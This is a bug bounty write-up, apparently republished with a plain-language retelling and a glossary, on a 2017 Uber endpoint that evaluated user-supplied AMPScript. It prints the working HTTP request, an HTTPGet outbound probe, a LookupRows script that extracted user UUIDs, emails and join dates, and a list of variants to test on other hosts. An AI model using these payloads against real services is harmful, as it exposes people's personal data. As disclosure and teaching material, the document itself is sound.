Gaining access to Uber's user data through AMPScript evaluation
An internal Uber web application exposed an endpoint that evaluated user-supplied AMPScript, a scripting language used in Salesforce Marketing Cloud. An attacker could craft AMPScript to query Uber's data extensions and extract sensitive user information such as UUIDs, email addresses, and join dates.
Published on shubs.io
Modern development and infrastructure management practices are fast paced and constantly evolving. In the race to innovate and expand, new assets are being deployed and exposed to the public Internet rapidly and existing assets are continuously evolving.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Uber's bug bounty programme was being monitored with Assetnote's Continuous Security Platform, which watches a large attack surface for changes in infrastructure. That continuous, asset-aware approach is what surfaced the target here: an obscure subdomain, exacttarget-web-hook.uber.com.
For a long time the subdomain returned a plain "Not Found" error generated by an Express.js webserver. Then, one day, it responded with what looked like a comprehensive internal test bed for Uber's message personalisation system.
The form Assetnote CS discovered on https://exacttarget-web-hook.uber.com/.
At first glance the application looked like an API console built for testing text messages that contain user personalisation. The subdomain name, exacttarget-web-hook, is the clue to the underlying technology: ExactTarget was the company that developed AMPScript before Salesforce acquired it in 2013. Salesforce's Marketing Cloud provides AMPScript as a scripting language that can be embedded within HTML emails, text emails, landing pages and SMS messages to control the content displayed to individual consumers. The console appeared to be a front end for evaluating AMPScript against Uber's message personalisation data.
Setup
No special tooling is described beyond the Continuous Security Platform that found the host and a browser. The preconditions that mattered were:
- An authenticated Uber account, used to obtain a UUID from the HTML source of
https://riders.uber.com/profileonce logged in. - The API console's
contactKeyparameter, which had to be that account UUID rather than the "Test Contact Key" shown on the page. - The
dataExtensionnamedriver_partners, which appeared in the example message.
The console shipped with an example "Message" for the preview endpoint:
%%[SET @firstName = LOOKUP('driver_partners', 'firstname', 'partner_uuid', partner_uuid)]%%Hi there I'm %%=v(@firstName)=%% and I created this tool.
Investigating the syntax and making the connection from the subdomain name to ExactTarget led to the conclusion that this was AMPScript.
Finding it
The first attempt was to use the API console with the provided "Test Contact Key", which failed to get the API working. Investigation showed the cause: the contactKey parameter needed to be the authenticated account's UUID rather than the one provided on the console page. With the UUID taken from the profile page source swapped in, requests to the preview endpoint worked:
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: */*
DNT: 1
Referer: https://exacttarget-web-hook.uber.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
The message parameter is where the AMPScript goes, and dataExtension selects the data extension the script runs against. Using the example AMPScript provided in the API console failed, so the next question was whether AMPScript could be evaluated at all. The HTTPGet function, which sends an HTTP GET request and returns the response content, answered that:
Running AMPScript query: %%=HTTPGet('https://ipinfo.io')=%%.
Arbitrary AMPScript could be evaluated. The request sent through HTTPGet did not originate from an Uber owned server; it originated from AS22606 ExactTarget, Inc. as the screenshot shows. That places the evaluation, and the data it can reach, on Salesforce's Marketing Cloud infrastructure rather than on Uber's own hosts.
Exploitation
Step 1: confirm script evaluation
Sending %%=HTTPGet('https://ipinfo.io')=%% as the message returned the response body of that URL, with the source address belonging to AS22606 ExactTarget, Inc. This confirms server-side evaluation of attacker-supplied AMPScript.
Step 2: understand the data extensions
Data extensions are database tables that can be accessed through AMPScript's Data Extension functions. The console's example already referenced driver_partners, so the target table was known before any query was written.
Step 3: build a data extraction script
Reading the documentation for the LookupRows function made it possible to craft AMPScript that would:
- Search the
driver_partnersdata extension for all rows that have thefirstnameequal to Shubs. - Store the results of the query into an array.
- Iterate over the array and print the values.
The final AMPScript:
%%[SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')SET @rCount = RowCount(@prefArray)FOR @i = 1 TO @rCount DO SET @Row = Row(@prefArray, @i) SET @ID = Field(@Row, 1) SET @UUID = Field(@Row, 2) SET @joinDate = Field(@Row, 3) SET @email = Field(@Row, 4) SET @firstName = Field(@Row, 5)]%% %%=V(@UUID)=%% %%=V(@joinDate)=%% %%=V(@email)=%% %%=V(@firstName)=%%%%[NEXT @i]%%
LookupRows returns the matching rows, RowCount gives the number of results, and the FOR loop walks each row with Row, pulling columns by position with Field. The V calls print each value into the rendered output.
Step 4: send the script to the preview endpoint
When this AMPScript was sent to the preview endpoint, the response contained the UUID, join date, email address and first name of every user with the first name of Shubs.
The message value is the URL-encoded AMPScript, and dataExtension=driver_partners scopes the lookup to that table.
Data returned from Uber for all users named 'Shubs'.
The response returned the details of many users with the first name Shubs; the screenshot was redacted to show only the researcher's test accounts. An attacker could have crafted AMPScript to extract data in the masses, or to search up specific people in Uber's data by first name to extract their UUID and email address.
Root cause
The preview endpoint evaluated the message parameter as AMPScript on Salesforce Marketing Cloud, with access to the data extensions named in the request. The console appeared to be an internal test bed for message personalisation, but it was reachable from the public Internet and accepted arbitrary AMPScript from the caller. Because AMPScript includes Data Extension functions such as LookupRows and network functions such as HTTPGet, anyone who could reach the endpoint could read the tables behind it and make outbound requests from ExactTarget's infrastructure.
The contactKey parameter had to be the caller's own account UUID rather than the provided test key. The report does not describe any other filtering of the message value.
Impact
An attacker with an Uber account could evaluate arbitrary AMPScript on the preview endpoint. In the demonstration this disclosed the UUID, join date, email address and first name of every user in the driver_partners data extension whose first name matched a chosen value. The researcher notes that an attacker could have extracted data in the masses or looked up specific people by first name to obtain their UUID and email address. Outbound requests made through HTTPGet originated from AS22606 ExactTarget, Inc. not from an Uber owned server.
The bug was found on 13 November 2017, fixed by 15 November 2017, and paid out on 28 December 2017. As part of HackerOne's Hack the World event, the report was awarded a $20,000 bonus for being the "most impactful report" during the event period, making the total payout $23,000.
Fix
The report states only that the bug was fixed by 15 November 2017; it does not describe the change that was made. What the design needs is for the preview endpoint to stop evaluating caller-supplied AMPScript against production data extensions, or to restrict evaluation to a sandbox with no access to real tables and no outbound network functions.
Variants to test
- Look for hosts whose names reference marketing or messaging platforms (ExactTarget, Marketing Cloud, SendGrid, Braze and similar) and watch them over time for a change from a generic error page to an application. A positive result is a new console or form appearing on a host that previously returned "Not Found".
- On any template or preview feature, submit a minimal expression that performs an outbound request, such as
%%=HTTPGet('https://ipinfo.io')=%%where AMPScript is in use. A positive result is the response body of that URL appearing in the rendered output. - Take column and table names from example payloads shipped in the console and use them in a lookup against the same data extension. A positive result is rows of real data returned for a value you chose.
- Test whether the access check on identifiers such as
contactKeyis the only gate, by changing the identifier to another value you control and observing whether evaluation still occurs. A positive result is successful evaluation with an identifier that is not tied to your account. - Try equivalent template injection in other engines (SSTI in email or SMS templating, Liquid, Handlebars) with an expression that evaluates arithmetic or reads an environment value. A positive result is the evaluated result rather than the literal expression appearing in the output.
What happened, in plain words
Uber runs a bug bounty programme: a scheme where outside researchers are invited to look for security weaknesses in a company's systems and are paid for reporting them responsibly. One team, Assetnote, was watching Uber's collection of internet-facing systems with an automated tool called the Continuous Security Platform. That tool keeps an eye on a large "attack surface", meaning every hostname, website and service a company exposes to the public Internet, and it alerts when something changes.
That is how this story starts. A forgotten subdomain, exacttarget-web-hook.uber.com, had been sitting there returning a plain "Not Found" error page for a long time. A "subdomain" is simply a name that sits under a company's main domain: if uber.com is the main address, exacttarget-web-hook.uber.com is a smaller address pointing at a particular machine or service. "Not Found" is the standard message a web server gives when there is nothing at the address you asked for, like knocking on a door and being told nobody lives there.
Then, one day, the automated watcher noticed the door had opened. The subdomain started returning a full web page: what looked like an internal testing tool for Uber's message personalisation system. "Message personalisation" means inserting a person's own details, such as their first name, into a text message or email so it reads as if written for them.
The form Assetnote CS discovered on https://exacttarget-web-hook.uber.com/.
At first glance the page looked like an "API console". An API (Application Programming Interface) is the way one piece of software talks to another: instead of a human clicking buttons, a program sends a request to a specific address and gets data back. An API console is a small web page built to let a person try those requests by hand, usually with a form where you fill in values and press a button. This one appeared to be made for testing text messages that contain personalisation.
The name of the subdomain is the big clue. "ExactTarget" was a company that created a scripting language called AMPScript, and Salesforce bought ExactTarget in 2013. Salesforce's Marketing Cloud offers AMPScript as a language you can embed inside HTML emails, plain text emails, landing pages and SMS messages to control what each individual recipient sees. So the console was, in effect, a front end for running AMPScript against Uber's message personalisation data.
Setting up
The write-up describes no special tools beyond the automated platform that found the host and an ordinary browser. What mattered was having:
- A logged-in Uber account. Once logged in, the account's UUID could be read from the HTML source of
https://riders.uber.com/profile. A UUID (Universally Unique Identifier) is a long string of letters and numbers used as a unique label for one thing, here one account, so that no two accounts share a name. "HTML source" is the raw code behind a web page, which you can view in any browser; it often contains values the page does not visibly display. - The console's
contactKeyparameter set to that account UUID. A "parameter" is a named value you attach to a request, like a field on a paper form: the name says what it is for, the value is what you filled in. The page offered a "Test Contact Key", but that one did not work; the account's own UUID did. - The
dataExtensionnamedriver_partners, which appeared both in the console and in its example message. A "data extension" is Salesforce Marketing Cloud's name for a database table: a grid of rows and columns holding records, in this case records about driver partners.
The console came with an example "Message" for the preview endpoint:
%%[SET @firstName = LOOKUP('driver_partners', 'firstname', 'partner_uuid', partner_uuid)]%%Hi there I'm %%=v(@firstName)=%% and I created this tool.
Line by line, in plain words:
%%[opens a block of AMPScript. Everything between this and the closing]%%is instructions for the server, not text for the reader.SET @firstName = LOOKUP('driver_partners', 'firstname', 'partner_uuid', partner_uuid)creates a named storage slot, a "variable", called@firstName, and fills it with the result of a lookup. The lookup searches thedriver_partnerstable, finds the row where the columnpartner_uuidmatches the valuepartner_uuid, and returns that row'sfirstnamecolumn. Think of it as a librarian told: in the driver partners shelf, find the record whose ID matches this one, and read me the first name field.]%%closes the instruction block.Hi there I'mis ordinary text that will appear in the message.%%=v(@firstName)=%%is an output expression: it prints the value stored in@firstNameinto the message.vis short for value.and I created this tool.is more ordinary text.
So the whole thing produces a personalised sentence such as "Hi there I'm Sam and I created this tool." Looking at this syntax, and connecting the subdomain name to ExactTarget, led to the conclusion that the message was AMPScript.
Finding it
The first attempt was to use the API console with the "Test Contact Key" it offered, and the API simply did not work. Investigating why showed the cause: the contactKey parameter had to be the UUID of the logged-in account, not the test value printed on the page. Once the account's own UUID, taken from the profile page source, was swapped in, requests to the preview endpoint worked:
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: */*
DNT: 1
Referer: https://exacttarget-web-hook.uber.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Line by line:
GET /preview?... HTTP/1.1is the request line.GETis the method, meaning "give me this";/previewis the path on the server being asked for; everything after?is the query string, a list of parameters separated by&.HTTP/1.1is the version of the language browsers and servers use to talk to each other.contactKey=[redacted]is the account UUID. It has been blanked out here because it identifies a real account.dataExtension=driver_partnersselects which database table the script will run against.create_new=trueis a flag, a simple on/off switch, set to on.message=is where the AMPScript goes. Here it is empty, which is why this request is just a test that the endpoint answers.business_unit=is another parameter, left empty.Host: exacttarget-web-hook.uber.comtells the server which website name was requested. One machine can host many sites, so the server needs to know which one you meant.Connection: closeasks the server to close the connection after this one response.User-Agent: ...identifies the browser and operating system that sent the request. Here it claims to be Chrome on a Mac.Accept: */*says the client will accept any type of response.DNT: 1means "Do Not Track", a request not to be tracked.Referer: https://exacttarget-web-hook.uber.com/says which page the request came from.Accept-Encoding: gzip, deflatelists the compression formats the client can unpack, to save bandwidth.Accept-Language: en-US,en;q=0.8states a preference for US English.
Using the example AMPScript from the console failed, so the next question was whether AMPScript could be run at all. The HTTPGet function answered it. A "function" is a named, reusable piece of code that does a job when called; HTTPGet sends an HTTP GET request to a URL and hands back whatever that URL responds with.
Running AMPScript query: %%=HTTPGet('https://ipinfo.io')=%%.
Arbitrary AMPScript could be run. The request sent through HTTPGet did not come from a server Uber owned; it came from AS22606 ExactTarget, Inc. as the screenshot shows. "AS22606" is an Autonomous System number, a label for a network on the Internet, and it identifies whose network the traffic left from. That places the code execution, and the data it can reach, on Salesforce's Marketing Cloud infrastructure rather than on Uber's own machines.
Exploitation
Step 1: confirm script evaluation
Sending %%=HTTPGet('https://ipinfo.io')=%% as the message returned the body of that URL's response, with the source address belonging to AS22606 ExactTarget, Inc. This confirms "server-side evaluation": the server, not your browser, ran the code you supplied. That distinction matters because server-side code runs with the server's own access to data, not yours.
Step 2: understand the data extensions
Data extensions are database tables reachable through AMPScript's Data Extension functions. The console's example already mentioned driver_partners, so the table name was known before any query was written. That is like finding a labelled filing cabinet and a label on one drawer before you start searching.
Step 3: build a data extraction script
Reading the documentation for the LookupRows function made it possible to write AMPScript that would:
- Search the
driver_partnersdata extension for all rows whosefirstnameequals Shubs. - Store the results of the query in an array. An "array" is an ordered list of items held together under one name, like a numbered stack of cards.
- Walk over the array and print the values.
The final AMPScript:
%%[SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')SET @rCount = RowCount(@prefArray)FOR @i = 1 TO @rCount DO SET @Row = Row(@prefArray, @i) SET @ID = Field(@Row, 1) SET @UUID = Field(@Row, 2) SET @joinDate = Field(@Row, 3) SET @email = Field(@Row, 4) SET @firstName = Field(@Row, 5)]%% %%=V(@UUID)=%% %%=V(@joinDate)=%% %%=V(@email)=%% %%=V(@firstName)=%%%%[NEXT @i]%%
Line by line:
%%[opens the instruction block.SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')asks thedriver_partnerstable for every row where thefirstnamecolumn isShubs, and stores the matching rows in a variable called@prefArray.SET @rCount = RowCount(@prefArray)counts how many rows came back and stores that number in@rCount.FOR @i = 1 TO @rCount DOstarts a loop: repeat the following instructions once for each row, with@icounting 1, 2, 3 and so on up to the total. A loop saves you writing the same instruction out for every row.SET @Row = Row(@prefArray, @i)picks out the row at position@iand stores it in@Row.SET @ID = Field(@Row, 1)reads the first column of that row into@ID.SET @UUID = Field(@Row, 2)reads the second column into@UUID.SET @joinDate = Field(@Row, 3)reads the third column into@joinDate.SET @email = Field(@Row, 4)reads the fourth column into@email.SET @firstName = Field(@Row, 5)reads the fifth column into@firstName.]%%closes the instruction block.%%=V(@UUID)=%% %%=V(@joinDate)=%% %%=V(@email)=%% %%=V(@firstName)=%%prints those four values into the output, separated by spaces.%%[NEXT @i]%%closes the loop and moves to the next row.
In short: LookupRows fetches the matching rows, RowCount says how many there are, the FOR loop visits each one with Row, and Field pulls out columns by their position. The V calls print each value into the rendered output.
Step 4: send the script to the preview endpoint
When this AMPScript was sent to the preview endpoint, the response contained the UUID, join date, email address and first name of every user with the first name Shubs.
The message value is the AMPScript, URL-encoded. "URL encoding" is a way of writing characters that are not allowed in a web address, or that would be misread, as a percent sign followed by two hexadecimal digits. For example %25 stands for a literal %, %5b stands for [, and %0d%0a stands for a carriage return and line feed, the pair that starts a new line. Hexadecimal is just a counting system with sixteen digits instead of ten. The rest of the request line and headers mean the same as in the earlier request; dataExtension=driver_partners scopes the lookup to that table.
Data returned from Uber for all users named 'Shubs'.
The response returned details of many users with the first name Shubs; the screenshot was redacted to show only the researcher's test accounts. An attacker could have written AMPScript to pull data in bulk, or to look up particular people in Uber's data by first name and obtain their UUID and email address.
Why it worked
The preview endpoint ran the message parameter as AMPScript on Salesforce Marketing Cloud, with access to the data extensions named in the request. The console appeared to be an internal test bed for message personalisation, but it was reachable from the public Internet and accepted any AMPScript from whoever called it. Because AMPScript includes Data Extension functions such as LookupRows and network functions such as HTTPGet, anyone who could reach the endpoint could read the tables behind it and make outbound requests from ExactTarget's infrastructure.
The server treated the supplied message as program instructions rather than as plain text to display. A useful comparison is a photocopier that is also a computer: if you feed it a sheet that says "print the contents of the filing cabinet", a machine that only copies will copy the sentence, but a machine that interprets instructions will go and fetch the files.
The contactKey parameter had to be the caller's own account UUID rather than the test key shown on the page. The report does not describe any other filtering of the message value.
Impact
An attacker with an Uber account could run arbitrary AMPScript on the preview endpoint. In the demonstration this disclosed the UUID, join date, email address and first name of every user in the driver_partners data extension whose first name matched a chosen value. The researcher notes that an attacker could have extracted data in bulk or looked up specific people by first name to obtain their UUID and email address. Outbound requests made through HTTPGet came from AS22606 ExactTarget, Inc. not from a server Uber owned.
The bug was found on 13 November 2017, fixed by 15 November 2017, and paid out on 28 December 2017. As part of HackerOne's Hack the World event, the report received a $20,000 bonus for being the "most impactful report" during the event period, making the total payout $23,000.
The fix
The report states only that the bug was fixed by 15 November 2017; it does not describe the change that was made. What the design needs is for the preview endpoint to stop running caller-supplied AMPScript against production data extensions, or to restrict it to a sandbox, an isolated environment with no access to real tables and no outbound network functions.
Variants to test
- Look for hosts whose names mention marketing or messaging platforms (ExactTarget, Marketing Cloud, SendGrid, Braze and similar) and watch them over time for a change from a generic error page to an application. A positive result is a new console or form appearing on a host that previously returned "Not Found".
- On any template or preview feature, submit a minimal expression that makes an outbound request, such as
%%=HTTPGet('https://ipinfo.io')=%%where AMPScript is in use. A positive result is the response body of that URL appearing in the rendered output. - Take column and table names from example payloads shipped in the console and use them in a lookup against the same data extension. A positive result is rows of real data returned for a value you chose.
- Test whether the check on identifiers such as
contactKeyis the only gate, by changing the identifier to another value you control and seeing whether evaluation still happens. A positive result is successful evaluation with an identifier not tied to your account. - Try equivalent template injection in other engines (SSTI in email or SMS templating, Liquid, Handlebars) with an expression that does arithmetic or reads an environment value. A positive result is the evaluated result rather than the literal expression appearing in the output.
Glossary
- API: the way one piece of software talks to another, by sending requests to defined addresses and receiving data back.
- API console: a web page that lets a person try API requests by hand, usually through a form.
- AMPScript: a scripting language from Salesforce Marketing Cloud, originally developed by ExactTarget, embedded in emails, landing pages and SMS messages to personalise content.
- Array: an ordered list of items stored together under one name.
- Attack surface: everything a company exposes to the public Internet that could be attacked.
- Autonomous System (AS) number: a label for a network on the Internet, used to identify whose network traffic comes from.
- Bug bounty programme: a scheme where outside researchers are invited to find and report security weaknesses in exchange for payment.
- Continuous Security Platform: Assetnote's automated tool that watches a large set of internet-facing systems and alerts on changes.
- Data extension: Salesforce Marketing Cloud's name for a database table holding records in rows and columns.
- Endpoint: a specific address on a server that accepts requests, such as
/preview. - Function: a named, reusable piece of code that performs a job when called.
- GET: the HTTP method meaning "give me this resource".
- Header: a line in a request or response carrying extra information, such as the browser type or accepted formats.
- Hexadecimal: a counting system with sixteen digits, used in URL encoding.
- HTML source: the raw code behind a web page, viewable in a browser, which can contain values not shown on the page.
- HTTP: the language browsers and servers use to exchange requests and responses.
- HTTPGet: an AMPScript function that sends an HTTP GET request to a URL and returns the response content.
- Loop: a programming instruction that repeats a set of steps, here once per row.
- Parameter: a named value attached to a request, like a field on a form.
- Query string: the part of a web address after
?, holding parameters separated by&. - Sandbox: an isolated environment with no access to real data or the outside network.
- Server-side evaluation: running supplied code on the server rather than in the visitor's browser, so it runs with the server's access.
- Server-side template injection (SSTI): a flaw where a server treats user input as program instructions instead of plain text.
- Subdomain: a name under a company's main domain, pointing at a particular service.
- URL encoding: writing characters that are not allowed or would be misread in a web address as
%plus two hexadecimal digits. - UUID: a long string of letters and numbers used as a unique label for one thing, such as one account.
- Variable: a named storage slot in a program holding a value.
- Web server: software that answers requests for web pages and data.